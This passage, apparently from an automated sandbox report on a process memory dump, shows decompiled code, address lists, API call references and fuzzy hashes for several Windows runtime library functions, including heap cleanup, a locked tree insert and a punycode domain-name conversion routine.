												if(_t85 != 0) {
													continue;
												}
												break;
											}
											if(_t112 < 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t114 =  *(_t148 + 0x70) >> 2;
											 *(_t153 - 0x38) = _t114;
											_t136 =  *((intOrPtr*)(_t148 + 0x6c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
											while(1) {
												_t114 = _t114 - 1;
												 *(_t153 - 0x38) = _t114;
												if(_t114 < 0) {
													break;
												}
												_t83 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t136;
												_t136 = _t136 + 4;
												 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
												if(_t83 != 0) {
													continue;
												}
												break;
											}
											if(_t114 < 0) {
												L31:
												 *_t140 =  *_t140 | 0x00020000;
											}
										}
										L27:
										 *((intOrPtr*)(_t153 - 4)) = 0xfffffffe;
										_t69 = 0;
									}
								}
								return E6CE5D0D1(_t69);
							} else {
								_t115 =  *((intOrPtr*)(_t67 + 4));
								if( *_t115 != _t67) {
									goto L15;
								} else {
									 *_t115 = _t120;
									 *((intOrPtr*)(_t120 + 4)) = _t115;
									_t141 =  *(_t146 + 0x50);
									_t99 =  *_t141;
									E6CE1FFB0(_t99, _t141, 0x6cef84d8);
									if( *((intOrPtr*)(_t146 + 0x3a)) != 0) {
										E6CE437F5(_t146, 0);
									}
									E6CE40413(_t146);
									_t90 =  *((intOrPtr*)(_t146 + 0x48));
									if(_t90 != 0) {
										if(_t90 != 0xffffffff) {
											E6CE39B10(_t90);
										}
									}
									if( *((intOrPtr*)(_t146 + 0x28)) != 0) {
										E6CE302D6(_t146 + 0x24);
									}
									_t65 = RtlFreeHeap( *0x6cef7b98, 0, _t146);
									if(_t99 != _t141) {
										goto L3;
									} else {
										_t118 = _t141;
										_pop(_t142);
										_pop(_t150);
										_t143 = _t118;
										_t91 =  *(_t143 + 8);
										if(_t91 != 0) {
											do {
												_t151 =  *_t91;
												RtlFreeHeap( *0x6cef7b98, 0, _t91);
												_t91 = _t151;
											} while (_t151 != 0);
										}
										return RtlFreeHeap( *0x6cef7b98, 0, _t143);
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L62:
			}

0x6ce1ec81
0x6ce1ec83
0x6ce1ec85
0x6ce1ec86
0x6ce1ec8d
0x6ce1eca4
0x6ce1eca7
0x6ce1ec8f
0x6ce1ec8f
0x6ce1ec95
0x00000000
0x6ce1ec97
0x6ce1ec97
0x6ce1ec9a
0x6ce1eca2
0x6ce1ecad
0x6ce1ecb2
0x6ce1ecb5
0x6ce1ecba
0x6ce1ed2f
0x6ce1ed2f
0x6ce1ed32
0x6ce1ed34
0x6ce1ed35
0x6ce1ed36
0x6ce1ed37
0x6ce1ed38
0x6ce1ed39
0x6ce1ed3a
0x6ce1ed3b
0x6ce1ed3c
0x6ce1ed3d
0x6ce1ed3e
0x6ce1ed3f
0x6ce1ed40
0x6ce1ed42
0x6ce1ed47
0x6ce1ed4e
0x6ce1ed53
0x6ce6baf2
0x6ce6baf2
0x6ce1ed59
0x6ce1ed59
0x6ce1ed5e
0x00000000
0x6ce1ed64
0x6ce1ed64
0x6ce1ed6f
0x6ce1edf1
0x6ce1edf3
0x6ce1edf9
0x6ce1edfb
0x6ce1ee00
0x6ce1ee28
0x6ce1ee2b
0x00000000
0x6ce1ee31
0x6ce1ee33
0x6ce1ee35
0x00000000
0x00000000
0x6ce1ee35
0x6ce1ee02
0x6ce1ee02
0x6ce1ee09
0x6ce6baae
0x6ce6baae
0x6ce1ee0f
0x6ce1ee13
0x6ce1ee1a
0x6ce1ee1f
0x6ce1eea9
0x6ce1eeab
0x6ce1eeae
0x6ce1eeb1
0x6ce1eeb1
0x6ce1eeb4
0x6ce1eeb7
0x6ce1eec1
0x6ce1eec4
0x6ce1eec7
0x6ce1eecd
0x6ce1eecf
0x00000000
0x6ce1ee25
0x6ce1ee25
0x00000000
0x6ce1ee25
0x6ce1ee1f
0x00000000
0x6ce1ee09
0x00000000
0x6ce1ee02
0x6ce1ee3b
0x6ce1ee3d
0x6ce6bab5
0x6ce6bab5
0x6ce1ee46
0x6ce1ee48
0x6ce1ee4e
0x6ce1ee50
0x6ce1ee59
0x6ce6bac0
0x6ce6bac3
0x00000000
0x6ce6bad1
0x6ce6bad3
0x6ce6bad3
0x6ce1ee5f
0x6ce1ee5f
0x6ce1ee6a
0x6ce1ede0
0x6ce1ede0
0x6ce1ee70
0x6ce1ee74
0x6ce1ee7b
0x6ce1ee80
0x6ce1eed7
0x00000000
0x6ce1ee82
0x6ce1ee82
0x6ce1ee84
0x6ce1ee84
0x6ce1ee87
0x6ce1ee87
0x6ce1ee8a
0x6ce1ee8d
0x6ce1ee96
0x6ce1ee96
0x6ce1ee99
0x6ce1ee9c
0x6ce1eea2
0x6ce1eea4
0x00000000
0x6ce1eea4
0x6ce1ee80
0x00000000
0x6ce1ee6a
0x00000000
0x6ce1ee5f
0x6ce1ede2
0x6ce1ede4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce1ed71
0x6ce1ed74
0x6ce1ed77
0x6ce1ed7d
0x6ce1ed7f
0x6ce1ed82
0x6ce1ed82
0x6ce1ed85
0x6ce1ed88
0x00000000
0x00000000
0x6ce1ed8d
0x6ce1ed8f
0x6ce1ed92
0x6ce1ed97
0x00000000
0x00000000
0x00000000
0x6ce1ed97
0x6ce1ed9b
0x6ce1ed9d
0x6ce1ed9d
0x6ce1eda6
0x6ce1eda9
0x6ce1edaf
0x6ce1edb1
0x6ce1edb4
0x6ce1edb4
0x6ce1edb7
0x6ce1edba
0x00000000
0x00000000
0x6ce1edbf
0x6ce1edc1
0x6ce1edc4
0x6ce1edc9
0x00000000
0x00000000
0x00000000
0x6ce1edc9
0x6ce1edcd
0x6ce1ede6
0x6ce1ede6
0x6ce1ede6
0x6ce1edcd
0x6ce1edcf
0x6ce1edcf
0x6ce1edd6
0x6ce1edd6
0x6ce1ed5e
0x6ce1eddd
0x6ce1ecbc
0x6ce1ecbc
0x6ce1ecc1
0x00000000
0x6ce1ecc3
0x6ce1ecc3
0x6ce1ecc5
0x6ce1ecc8
0x6ce1ecd0
0x6ce1ecd2
0x6ce1ecdd
0x6ce1ed1b
0x6ce1ed1b
0x6ce1ece1
0x6ce1ece6
0x6ce1eceb
0x6ce1ed25
0x6ce1ed28
0x6ce1ed28
0x6ce1ed25
0x6ce1ecf1
0x6ce1ecf6
0x6ce1ecf6
0x6ce1ed04
0x6ce1ed0b
0x00000000
0x6ce1ed0d
0x6ce1ed0d
0x6ce1ed0f
0x6ce1ed10
0x6ce3c27a
0x6ce3c27c
0x6ce3c281
0x6ce7a692
0x6ce7a692
0x6ce7a69d
0x6ce7a6a2
0x6ce7a6a4
0x6ce7a6a8
0x6ce3c292
0x6ce3c292
0x6ce1ed0b
0x6ce1ecc1
0x00000000
0x00000000
0x00000000
0x6ce1eca2
0x6ce1ec95
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6CEF84D8,6CE517F0,00000000,?,6CE2F715,6CE2F5C0,?,?,?,00000001,-00000F38), ref: 6CE1ECAD
RtlReleaseSRWLockExclusive.1105(6CEF84D8,6CEF84D8,6CE517F0,00000000,?,6CE2F715,6CE2F5C0,?,?,?,00000001,-00000F38), ref: 6CE1ECD2
RtlFreeHeap.1105(00000000,?,6CEF84D8,6CEF84D8,6CE517F0,00000000,?,6CE2F715,6CE2F5C0,?,?,?,00000001,-00000F38), ref: 6CE1ED04
RtlReleaseActivationContext.1105(-00000F38,6CEF84D8,6CEF84D8,6CE517F0,00000000,?,6CE2F715,6CE2F5C0,?,?,?,00000001,-00000F38), ref: 6CE1ED28
_wcsicmp.1105(6CEDFE98,?,6CEDFB78,00000030,6CEF84D8,6CE517F0,00000000,?,6CE2F715,6CE2F5C0,?,?,?,00000001,-00000F38), ref: 6CE1EE13
_wcsicmp.1105(6CEDFE98,?,6CEDFB78,00000030,6CEF84D8,6CE517F0,00000000,?,6CE2F715,6CE2F5C0,?,?,?,00000001,-00000F38), ref: 6CE1EE74
RtlFreeHeap.1105(00000000,?,6CE517F0,6CE2F715,6CE2F5C0,?,?,?,00000001,-00000F38), ref: 6CE3C28C

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveFreeHeapLockRelease_wcsicmp$AcquireActivationContext
String ID:
API String ID: 176173115-0
Opcode ID: a2f8a50d10b891f3287e78a0cec23ac801996111ee08659695d7cdd8c50afa01
Instruction ID: ff071575c89c8d593aa361ecf7b627fff11b43f35b2804f9d686f71618cb361f
Opcode Fuzzy Hash: a2f8a50d10b891f3287e78a0cec23ac801996111ee08659695d7cdd8c50afa01
Instruction Fuzzy Hash: C581D430A19A058FCB14CF6DD854A9AB7B2BF8531CF34862DF455ABF50E730A852CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6CE1F820, Relevance: 12.1, APIs: 8, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6CE1F820(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int* _a20) {
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* _t37;
				signed int _t55;
				signed int _t56;
				signed int* _t62;
				signed int _t64;
				signed int* _t72;
				signed int _t76;
				void* _t78;
				signed int _t80;
				void* _t82;
				void* _t83;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_t74 = _a4;
				if(_a4 == 0) {
					L22:
					_t78 = 0x57;
					goto L16;
				} else {
					_t62 = _a20;
					if(_t62 == 0) {
						goto L22;
					} else {
						_t37 = E6CE4F380(_t74, 0x6cde5138, 0x10);
						_t83 = _t82 + 0xc;
						if(_t37 == 0) {
							if( *0x6cef60d8 == 0) {
								goto L3;
							} else {
								_push(0x57);
								goto L25;
							}
						} else {
							L3:
							_t71 = _a12;
							 *_t62 =  *_t62 & 0x00000000;
							_t78 = 0;
							_t62[1] = _t62[1] & 0x00000000;
							_t76 = E6CE3BC2C(_t74, _a12, _a16, _a8);
							if(_t76 == 0) {
								_push("true");
								L25:
								_pop(_t78);
								goto L23;
							} else {
								_t8 = _t76 + 0x24; // 0x24
								_t63 = _t8;
								E6CE22280(_t38, _t8);
								 *(_t76 + 0x2c) =  *( *[fs:0x18] + 0x24);
								if(_a8 == 0xa) {
									L6:
									_t14 = _t76 + 0xc; // 0xc
									 *((intOrPtr*)(_t83 + 0x18)) = _t14;
									 *((short*)(_t83 + 0x20)) =  *(_t76 + 0x34);
									E6CE22280( *(_t76 + 0x34), 0x6cef86ac);
									_t64 =  *0x6cef86dc;
									_v20 =  *0x6cef86e0 & 1;
									_v24 = 0;
									if(_t64 != 0) {
										L7:
										while(1) {
											if(E6CE1F99D(_t83 + 0x1c, _t64) >= 0) {
												_t55 =  *(_t64 + 4);
												if(_v16 != 0) {
													if(_t55 == 0) {
														goto L13;
													} else {
														_t55 = _t55 ^ _t64;
														goto L12;
													}
													goto L17;
												} else {
													L12:
													if(_t55 != 0) {
														goto L10;
													} else {
														L13:
														_v20 = 1;
													}
												}
											} else {
												_t56 =  *_t64;
												if(_v16 != 0) {
													if(_t56 == 0) {
														goto L14;
													} else {
														_t55 = _t56 ^ _t64;
														goto L9;
													}
													goto L17;
												} else {
													L9:
													if(_t55 == 0) {
														L14:
														_v20 = 0;
													} else {
														L10:
														_t64 = _t55;
														continue;
													}
												}
											}
											goto L15;
										}
									}
									L15:
									E6CE1B090(0x6cef86dc, _t64, _v20, _t76);
									E6CE1FFB0(_t64, _t76, 0x6cef86ac);
									E6CE3F296(_t76, _t71);
									 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
									_t29 = _t76 + 0x24; // 0x24
									E6CE1FFB0(_t64, _t76, _t29);
									asm("cdq");
									_t72 = _a20;
									 *_t72 = _t76;
									_t72[1] =  *(_t76 + 0x34) & 0x0000ffff;
								} else {
									_t71 = _a12;
									_t78 = E6CE34D3B(_t76, _a12, _a8);
									if(_t78 != 0) {
										 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
										E6CE1FFB0(_t63, _t76, _t63);
										E6CE0F871(_t63);
									} else {
										goto L6;
									}
								}
								L16:
								if(_t78 != 0) {
									L23:
									E6CE0CC50(_t78);
								}
							}
						}
					}
				}
				L17:
				return _t78;
			}

0x6ce1f828
0x6ce1f82e
0x6ce1f833
0x6ce1f990
0x6ce1f992
0x00000000
0x6ce1f839
0x6ce1f839
0x6ce1f83e
0x00000000
0x6ce1f844
0x6ce1f84c
0x6ce1f851
0x6ce1f856
0x6ce1f97b
0x00000000
0x6ce1f981
0x6ce1f981
0x00000000
0x6ce1f981
0x6ce1f85c
0x6ce1f85c
0x6ce1f85f
0x6ce1f867
0x6ce1f86a
0x6ce1f86c
0x6ce1f875
0x6ce1f879
0x6ce6bd6b
0x6ce6bd6d
0x6ce6bd6d
0x00000000
0x6ce1f87f
0x6ce1f87f
0x6ce1f87f
0x6ce1f883
0x6ce1f895
0x6ce1f898
0x6ce1f8b1
0x6ce1f8b1
0x6ce1f8b4
0x6ce1f8c1
0x6ce1f8c6
0x6ce1f8d2
0x6ce1f8db
0x6ce1f8df
0x6ce1f8e6
0x00000000
0x6ce1f8e8
0x6ce1f8f5
0x6ce1f911
0x6ce1f914
0x6ce1f98a
0x00000000
0x6ce1f98c
0x6ce1f98c
0x00000000
0x6ce1f98c
0x00000000
0x6ce1f916
0x6ce1f916
0x6ce1f918
0x00000000
0x6ce1f91a
0x6ce1f91a
0x6ce1f91a
0x6ce1f91a
0x6ce1f918
0x6ce1f8f7
0x6ce1f8fc
0x6ce1f8fe
0x6ce6bd8b
0x00000000
0x6ce6bd91
0x6ce6bd91
0x00000000
0x6ce6bd91
0x00000000
0x6ce1f904
0x6ce1f904
0x6ce1f906
0x6ce1f921
0x6ce1f921
0x6ce1f908
0x6ce1f908
0x6ce1f908
0x00000000
0x6ce1f908
0x6ce1f906
0x6ce1f8fe
0x00000000
0x6ce1f8f5
0x6ce1f8e8
0x6ce1f926
0x6ce1f931
0x6ce1f93b
0x6ce1f942
0x6ce1f947
0x6ce1f94b
0x6ce1f94f
0x6ce1f95a
0x6ce1f95d
0x6ce1f960
0x6ce1f962
0x6ce1f89a
0x6ce1f89d
0x6ce1f8a7
0x6ce1f8ab
0x6ce6bd73
0x6ce6bd78
0x6ce6bd7f
0x00000000
0x00000000
0x00000000
0x6ce1f8ab
0x6ce1f965
0x6ce1f967
0x6ce1f995
0x6ce1f996
0x6ce1f996
0x6ce1f967
0x6ce1f879
0x6ce1f856
0x6ce1f83e
0x6ce1f969
0x6ce1f971

APIs

memcmp.1105(00000030,6CDE5138,00000010,00000000,00000001,-00000001), ref: 6CE1F84C
RtlAcquireSRWLockExclusive.1105(00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6CE1F883
RtlAcquireSRWLockExclusive.1105(6CEF86AC,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6CE1F8C6

Part of subcall function 6CE34D3B: memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6CE34D77
Part of subcall function 6CE34D3B: RtlRunOnceExecuteOnce.1105(6CEF86B0,6CE35690,00000000,00000000,00000000,00000000,00000024), ref: 6CE34D9E
Part of subcall function 6CE34D3B: ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6CE34DE9
Part of subcall function 6CE34D3B: memcmp.1105(00000000,6CDE5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6CE34E26

RtlRbInsertNodeEx.1105(6CEF86DC,?,00000000,00000000), ref: 6CE1F931
RtlReleaseSRWLockExclusive.1105(6CEF86AC,6CEF86DC,?,00000000,00000000), ref: 6CE1F93B
RtlReleaseSRWLockExclusive.1105(00000024,6CEF86AC,6CEF86DC,?,00000000,00000000), ref: 6CE1F94F

Part of subcall function 6CE3BC2C: RtlAcquireSRWLockExclusive.1105(?,00000030,00000000,-00000001,6CE1F875,00000000,00000000,00000000,00000001,-00000001), ref: 6CE3BC79
Part of subcall function 6CE3BC2C: RtlReleaseSRWLockExclusive.1105(?,?,00000030,00000000,-00000001,6CE1F875,00000000,00000000,00000000,00000001,-00000001), ref: 6CE3BC8D
Part of subcall function 6CE3BC2C: RtlAllocateHeap.1105(?,00000008,000000D0,?,?,00000030,00000000,-00000001,6CE1F875,00000000,00000000,00000000,00000001,-00000001), ref: 6CE3BCA6

RtlSetLastWin32Error.1105(00000057,00000000,00000001,-00000001), ref: 6CE1F996
RtlReleaseSRWLockExclusive.1105(00000024,0000000A,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6CE6BD78

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$Oncememcmp$AllocateControlErrorExecuteHeapInsertLastNodeTraceWin32memset
String ID:
API String ID: 3014906823-0
Opcode ID: 7621d13b07b92324f028502b9c52fba517a3ed311505543934b0ec261d7fb0d9
Instruction ID: da7988ee0b3707a5e022ccd95075586367e3cd3e302d38cab6bc89b28ec8df1d
Opcode Fuzzy Hash: 7621d13b07b92324f028502b9c52fba517a3ed311505543934b0ec261d7fb0d9
Instruction Fuzzy Hash: FB41E671608706A7D711DFA5C840B9BB7F4BB8A31CF345519E8148AF40D778D429CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE05C07, Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 452
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6CE05C07(signed short* __ecx, signed int __edx, signed int* _a4, signed int* _a8, char _a12, char _a16, char* _a20, intOrPtr* _a24) {
				signed short* _v8;
				intOrPtr _v12;
				signed int* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				signed int* _v44;
				signed int _v48;
				signed short* _v52;
				signed short* _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int* _v76;
				void* _t155;
				signed int* _t156;
				intOrPtr* _t159;
				char _t160;
				signed int _t179;
				signed int _t181;
				char* _t182;
				void* _t183;
				signed int _t186;
				void* _t187;
				signed int _t190;
				signed int _t196;
				signed int* _t198;
				signed int _t200;
				intOrPtr _t202;
				intOrPtr _t203;
				signed int _t215;
				intOrPtr _t221;
				signed int _t222;
				signed int _t225;
				void* _t227;
				void* _t228;
				signed int* _t233;
				intOrPtr* _t234;
				signed int* _t236;
				signed short* _t239;
				void* _t249;
				void* _t250;
				signed int _t251;
				signed int _t253;
				void* _t269;
				signed int _t270;
				signed int _t272;
				void* _t273;
				void* _t274;
				signed short* _t277;
				signed short* _t280;
				intOrPtr* _t281;
				intOrPtr* _t282;
				signed int _t284;
				signed int _t287;
				signed int* _t288;
				signed int _t293;
				signed int* _t295;
				signed int* _t297;
				signed int _t299;
				signed int* _t302;
				signed int _t306;
				signed int _t309;
				signed int _t314;
				signed int _t315;
				signed short* _t317;
				void* _t318;

				_t236 = _a8;
				_v72 = __edx;
				_v52 = __ecx;
				_t299 =  *_t236;
				 *_t236 =  *_t236 & 0x00000000;
				 *_a20 = 1;
				if(__edx <= 0) {
					_t155 = 0xc0000716;
					L34:
					return _t155;
				}
				_t277 =  &(__ecx[__edx]);
				_t238 = __ecx;
				_v8 = __ecx;
				_v56 =  &(__ecx[0xffffffffffffffff]);
				_t295 = _a4;
				_t156 = _t295;
				_v16 = _t156;
				_t233 = _t156;
				_v76 = _t233;
				_v12 = _t233 + _t299 * 2;
				 *_a24 = _t233 - 2;
				if(__ecx >= _t277) {
					L35:
					_t155 = 0xc0000716;
					L33:
					goto L34;
				}
				_t302 = _t233;
				_v60 = 0x80;
				while(1) {
					_t159 = E6CE05DDE(_t238, _t277, _a12);
					_t239 = _v8;
					_t234 = _t159;
					if(_t234 == _t239) {
						break;
					}
					if(_a12 != 0) {
						_t306 = _t234 - _t239;
						L7:
						if((_t277 - _t239 & 0xfffffffe) < 8) {
							L11:
							if((_v12 - _t295 & 0xfffffffe) < (_t306 & 0xfffffffe)) {
								goto L35;
							}
							_t280 = _t239;
							if(_t239 >= _t234) {
								L21:
								if(_a12 != 0 || (_t234 - _t239 & 0xfffffffe) <= 0x7e && _t295 != _v16) {
									_t277 = _v52 + _v72 * 2;
									if(_t234 == _t277) {
										L27:
										_t160 = _a12;
										if(_t160 != 0) {
											_a12 = 0;
											_v56 = _t234;
											asm("sbb ecx, ecx");
											 *_a24 = _t295 - ( ~(_t234 - _t277) & 0x00000002);
											if(_t234 == _t277 - 2) {
												goto L35;
											}
											_t160 = _a12;
										}
										_t238 = _t234 + 2;
										_t302 = _t295;
										_v8 = _t234 + 2;
										_v16 = _t302;
										if(_t234 < _t277) {
											continue;
										}
										L29:
										_t297 = _v76;
										if(_t302 == _t297 || _t160 == 0 && _t277 - _v56 >> 1 > (0 | ( *(_t277 - 2) & 0x0000ffff) == 0x0000002e) + 0xff) {
											goto L35;
										} else {
											 *_a8 = _t302 - _t297 >> 1;
											_t155 = 0;
											goto L33;
										}
									}
									if(_t295 >= _v12) {
										goto L35;
									}
									 *_t295 =  *_t234;
									_t295 =  &(_t295[0]);
									_a4 = _t295;
									goto L27;
								} else {
									goto L35;
								}
							} else {
								goto L13;
							}
							do {
								L13:
								if(_a12 != 0) {
									L17:
									_t179 =  *_t280 & 0x0000ffff;
									if(_t179 == 0 || _t179 >= 0x80) {
										goto L35;
									} else {
										goto L19;
									}
								}
								if(_a16 != 0) {
									if(E6CEB7F9F( *_t280) == 0) {
										goto L35;
									}
								}
								_t181 =  *_t280 & 0x0000ffff;
								_t249 = 0x20;
								if(_t181 < _t249) {
									goto L35;
								}
								_t250 = 0x7f;
								if(_t181 == _t250) {
									goto L35;
								}
								goto L17;
								L19:
								 *_t295 = _t179;
								_t280 =  &(_t280[1]);
								_t295 =  &(_t295[0]);
								_a4 = _t295;
							} while (_t280 < _t234);
							L20:
							_t239 = _v8;
							goto L21;
						}
						_t182 = L"xl--";
						if(_a12 == 0) {
							_t182 = L"xn--";
						}
						_t183 = E6CE4E5C0(_t239, _t182, 4);
						_t239 = _v8;
						_t318 = _t318 + 0xc;
						if(_t183 == 0) {
							_t281 = _t234 - 2;
							_t239 =  &(_t239[4]);
							_v8 = _t239;
							 *_a20 = 0;
							if(_t281 < _t239) {
								L46:
								_t281 = 0;
								L47:
								if(_t281 == _t234 - 2) {
									goto L35;
								}
								if(_t281 == 0 || _t281 <= _t239) {
									_t186 = 0;
								} else {
									_t317 = _t239;
									_t186 = _t281 - _t239 >> 1;
									_v48 = _t186;
									if(_t239 == _t281) {
										L68:
										if(_t186 <= 0) {
											_t187 = 0;
										} else {
											_t187 = 2 + _t186 * 2;
										}
										_t309 = 0;
										_v24 = 0x80;
										_v28 = _v28 & 0;
										_t282 = _t187 + _t239;
										_v36 = _t282;
										_v48 = 0x48;
										if(_t282 >= _t234) {
											goto L21;
										} else {
											do {
												_t251 = 0x24;
												_v68 = _t309;
												_v64 = _t309;
												_v20 = 1;
												_v40 = _t251;
												_v44 = _t251 - _v48;
												while(_t282 < _t234) {
													_t190 = E6CEB802C( *_t282);
													_v36 = _v36 + 2;
													_t253 = _t190;
													if(_t253 < 0) {
														goto L35;
													}
													asm("cdq");
													if(_t253 > 0x7ffffff / _v20) {
														goto L35;
													}
													_t284 = _v40;
													_t309 = _t309 + _t253 * _v20;
													_t196 = _v48;
													_v32 = _t309;
													if(_t284 > _t196) {
														if(_t284 < _t196 + 0x1a) {
															_t198 = _v44;
														} else {
															_t198 = 0x1a;
														}
													} else {
														_t198 = 1;
													}
													if(_t253 < _t198) {
														_t314 = (_t295 - _v16 >> 1) - _v28 + 1;
														_v48 = E6CEB7FD5(_v32 - _v68, _t314, (_t253 & 0xffffff00 | _v64 == 0x00000000) & 0x000000ff);
														_t200 = _v32;
														asm("cdq");
														_t315 = _t200 % _t314;
														_t287 = _t200 / _t314;
														_t202 = _v24;
														_v32 = _t315;
														if(_t287 > 0x7ffffff - _t202) {
															goto L35;
														}
														_t203 = _t202 + _t287;
														_v24 = _t203;
														if(_t203 >= 0x80 && _t203 <= 0x10ffff && (_t203 < 0xd800 || _t203 > 0xdfff)) {
															if(_v28 <= 0) {
																_t288 = _v16 + _t315 * 2;
																_v44 = _t288;
																L97:
																if(_t203 >= 0x10000) {
																	if(_t295 >= _v12 + 0xfffffffe || _t288 > _t295) {
																		goto L35;
																	} else {
																		asm("cdq");
																		_t140 = (_v24 + 0xffff0000) / 0x400 - 0x2800; // -4294911872
																		E6CEB7F11((_v24 + 0xffff0000) / 0x400, _t140, _v44,  &_a4);
																		E6CEB7F11( &_a4, (_v24 + 0xffff0000) % 0x400 - 0x2400,  &(_v44[0]),  &_a4);
																		_v28 = _v28 + 1;
																		_t315 = _v32;
																		goto L104;
																	}
																}
																if(_t295 >= _v12 || _t288 > _t295) {
																	goto L35;
																} else {
																	E6CEB7F11(_t203, _t203, _t288,  &_a4);
																	goto L104;
																}
															}
															_t288 = _v16;
															_v40 = _t315;
															_v44 = _t288;
															if(_t315 <= 0) {
																goto L97;
															}
															while(_t288 < _t295) {
																if(E6CEB7F61( *_t288) != 0) {
																	_t288 =  &(_t288[0]);
																}
																_t288 =  &(_t288[0]);
																_t215 = _v40 - 1;
																_v44 = _t288;
																_v40 = _t215;
																if(_t215 > 0) {
																	continue;
																} else {
																	_t203 = _v24;
																	goto L97;
																}
															}
														}
														goto L35;
													} else {
														_t269 = 0x24;
														_t270 = _t269 - _t198;
														asm("cdq");
														_t293 = _v20;
														if(_t293 > 0x7ffffff / _t270) {
															goto L35;
														}
														_v40 = _v40 + 0x24;
														_v44 =  &(_v44[9]);
														_t282 = _v36;
														_v20 = _t270 * _t293;
														continue;
													}
												}
												goto L35;
												L104:
												_t282 = _v36;
												_t309 = _t315 + 1;
												_t295 = _a4;
											} while (_t282 < _t234);
											goto L20;
										}
									}
									while(_t295 < _v12) {
										_t221 = _a12;
										if(_t221 != 0) {
											L58:
											_t272 =  *_t317 & 0x0000ffff;
											if(_t272 == 0 || _t272 >= _v60) {
												goto L35;
											} else {
												if(_t221 != 0) {
													L63:
													_t222 = _t272;
													L64:
													 *_t295 = _t222;
													_t317 =  &(_t317[1]);
													_t295 =  &(_t295[0]);
													_a4 = _t295;
													if(_t317 != _t281) {
														continue;
													}
													break;
												}
												_t59 = _t272 - 0x41; // 0x3f
												if(_t59 > 0x19) {
													goto L63;
												}
												_t60 = _t272 + 0x20; // 0xa0
												_t222 = _t60 & 0x0000ffff;
												goto L64;
											}
										}
										if(_a16 == _t221 || E6CEB7F9F( *_t317) != 0) {
											_t225 =  *_t317 & 0x0000ffff;
											_t273 = 0x20;
											if(_t225 < _t273) {
												goto L35;
											}
											_t274 = 0x7f;
											if(_t225 == _t274) {
												goto L35;
											}
											_t221 = _a12;
											goto L58;
										} else {
											goto L35;
										}
									}
									if(_t317 != _t281) {
										goto L35;
									}
									_t239 = _v8;
									_t186 = _v48;
								}
								goto L68;
							}
							_t227 = 0x2d;
							while( *_t281 != _t227) {
								_t281 = _t281 - 2;
								if(_t281 >= _t239) {
									continue;
								}
								goto L46;
							}
							goto L47;
						} else {
							goto L11;
						}
					}
					if(_a16 != 0) {
						_t228 = 0x2d;
						if( *_t239 == _t228) {
							goto L35;
						}
						if(_t234 <= _v52) {
							goto L6;
						}
						if( *((intOrPtr*)(_t234 - 2)) == _t228) {
							goto L35;
						}
					}
					L6:
					_t306 = _t234 - _t239;
					if((_t306 & 0xfffffffe) > 0x7e) {
						goto L35;
					}
					goto L7;
				}
				_t160 = _a12;
				if(_t160 != 0 || _t234 != _t277) {
					goto L35;
				} else {
					goto L29;
				}
			}

0x6ce05c14
0x6ce05c18
0x6ce05c1b
0x6ce05c1e
0x6ce05c20
0x6ce05c26
0x6ce05c2b
0x6ce612f0
0x6ce05dcf
0x6ce05dd4
0x6ce05dd4
0x6ce05c31
0x6ce05c34
0x6ce05c39
0x6ce05c3c
0x6ce05c40
0x6ce05c43
0x6ce05c45
0x6ce05c48
0x6ce05c4a
0x6ce05c53
0x6ce05c59
0x6ce05c5d
0x6ce05dd7
0x6ce05dd7
0x6ce05dce
0x00000000
0x6ce05dce
0x6ce05c63
0x6ce05c65
0x6ce05c6c
0x6ce05c6f
0x6ce05c74
0x6ce05c77
0x6ce05c7b
0x00000000
0x00000000
0x6ce05c85
0x6ce61320
0x6ce05ca7
0x6ce05cb1
0x6ce05cda
0x6ce05ce7
0x00000000
0x00000000
0x6ce05ced
0x6ce05cf1
0x6ce05d4b
0x6ce05d4f
0x6ce05d68
0x6ce05d6d
0x6ce05d80
0x6ce05d80
0x6ce05d85
0x6ce6163d
0x6ce61643
0x6ce6164a
0x6ce61654
0x6ce6165b
0x00000000
0x00000000
0x6ce61661
0x6ce61661
0x6ce05d8b
0x6ce05d8e
